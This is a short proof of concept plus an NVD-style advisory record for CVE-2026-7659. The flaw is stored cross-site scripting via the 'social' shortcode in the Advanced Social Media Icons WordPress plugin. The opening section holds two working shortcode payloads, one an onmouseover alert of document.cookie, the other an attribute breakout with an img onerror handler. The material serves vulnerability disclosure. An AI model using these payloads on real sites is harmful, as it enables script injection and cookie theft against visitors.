CVE-2026-7659

<!-- Proof of Concept for CVE-2026-7659 --> <!-- Description: Injecting malicious script via the 'social' shortcode attributes. --> <!-- Attacker action: Add this shortcode to a page/post with Contributor permissions. --> <!-- Attempting to break out of the attribute context --> [social url="#" onmouseover="alert(document.cookie)"] <!-- Alternatively, injecting directly into a vulnerable field --> [social title="\"><img src=x onerror=alert('XSS')>"]

{"cve": {"id": "CVE-2026-7659", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:57.860", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Social Media Icons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `social` shortcode in all versions up to, and including, 1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-social-media-icons/tags/1.2/functions.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/advanced-social-media-icons/trunk/functions.php#L40", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/advanced-social-media-icons/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/999c2207-6d45-4b46-8fe1-03682a949c5c?source=cve", "source": "[email protected]"}]}}